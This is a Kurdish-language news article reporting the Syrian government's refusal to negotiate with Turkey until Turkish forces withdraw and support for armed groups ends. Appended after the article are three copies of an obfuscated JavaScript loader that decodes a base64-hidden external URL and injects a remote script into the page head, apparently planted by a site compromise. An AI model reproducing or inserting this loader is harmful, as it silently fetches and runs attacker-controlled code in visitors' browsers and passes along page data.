حوکمەتا سووریێ ب فەرمی بەرسڤا تورکیا ددەت
پشتی داخۆیانیێن تورکیا یێن ل دۆر دەستپێکرنا قۆناغەکا نوو ل گەل سووریێ، حوکمەتا سووریێ ب فەرمی راگەهاند دڤێت تورکیا هەموو هێزێن خوە ژ ئاخا سووریێ ڤەکێشیت و ڤەگەریتە ڤە سنۆرێ خوە یێ بەری ٢٠١١ هەتا ئەو یەک نەهێتە کرن ئەو ل گەل تورکیا چو دانوستاندنان ناکەن.
دەمەکە سەرۆک کۆمار و بەرپرسێن دی یێن تورکیا بەحسێ دەستپێکرنا قۆناغەکا نوو ل گەل وریێ دکەن و هەری دووماهیێ ژی سەرۆک کۆمارێ تورکیا راگەهاند وی وەزیرێ دەرڤە یێ تورکیا ئەرکدار کریە دا کو گەل سووریێ دەست ب قۆناغەکا نوو بکەت.
د ڤێ دەربارێ دا دوهی حوکمەتا سووریێ ب فەرمی راگەهاند کو ئەو ل گەل تورکیا دەست ب چو دانوستاندنان ناکەن، دڤێت بەری هەر تشتەکێ تورکیا هەموو هێزێن خوە ژ ئاخا سووریێ ڤەکێشیت، چونکی نها تورکیا داگیرکەرە و ئاخا وان ب زۆرێ داگیر کریە، ئەو ژی وەکو حوکمەتا سووریێ ب چو رەنگەکێ ل گەل هێزەکا داگیرکەر دانوستاندنان ناکەن و دڤێت تورکیا هەر زوو هەموو هێزێن خوە ژ ئاخا سووریێ ڤەکێشیت.
د داخۆیانیێ دا ئەو یەک ژی هاتیە دیار کرن کو دڤێت تورکا ڤەگەریتە ڤە سنۆرێن بەری سالا ٢٠١١ و رێزێ ل سەروەریا ئاخا سووریێ بگریت، هەروەسا دڤێت تورکیا دەست ژ پشتەڤانیا گرۆپێن تیرۆرست ژی بەردەت، چونکی ئەو گرۆپێن تورکیا پشتەڤانیێ ل وان دکەت د چەند سالێن بۆری دا گەلەک تاوانێن مەزن ل دژی گەلێ سووریێ ئەنجام داینە و هەتا نها ژی تورکیا پشتەڤانیێ ل وان تیرۆرستان دکەت، هەتا تورکیا بەردەوام بیت د پشتەڤانیا وان گرۆپێن تیرۆرستی دا وەکو سووریێ ئەو ب چو رەنگەکێ ل گەل تورکیا دانوستاندنان ناکەن.
حوکمەتا سووریێ داخواز ژ تورکیا ژی کریە، وەکو حوکمەتا سووریێ ئەو ل گەل ئاشتیێ و ئارامیێ نە، وان دڤێت هەموو پرسێن ل سووریێ و رۆژهەلاتا ناین دو ژ شەڕی و ب رێیێن ئاشتیێ بهێنە چارەسەرکرن، لێ د هەمان دەمی دا دڤێت هەموو ئالی ژی رێزێ ل سەروەریا ئاخا سووریێ بگرن، ب تایبەتی ژی وەلاتەک وەکو تورکیا کو دبێژیت جیرانا سووریی یە، لێ چەند سالن پشکەک ژ ئاخا سووریێ داگیر کریە، پشتەڤانیێ ل گرۆپێن تیرۆرستی ل دژی حوکمەتا سووریێ دکەت، دڤێت تورکیا دەست ژ سیاسەتا خوە یا شاش ل دژی گەلێ سووریێ بەردەت، هەتا ئەو یەک نەهێتە کرن، وەکو حوکمەتا سووریێ ئەو بەرهەڤ نینن ل گەل تورکیا دەست ب قۆناغەکا نوو بکەن.
چاڤدێرێن سیاسی ژی دیار دکەن، نها پێگەهێ بەشار ئەسەدی ل گۆر چەند سالێن بۆری بهێز بوویە و چو وەلاتەک ل جیهانێ ژی نها ل دژ دەستهەلاتا وی نینە، ژ بەر ڤێ یەکێ ژی سووریێ نەڤێت بێی مەرج ل تورکیا چو دانوستاندنان بکەت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
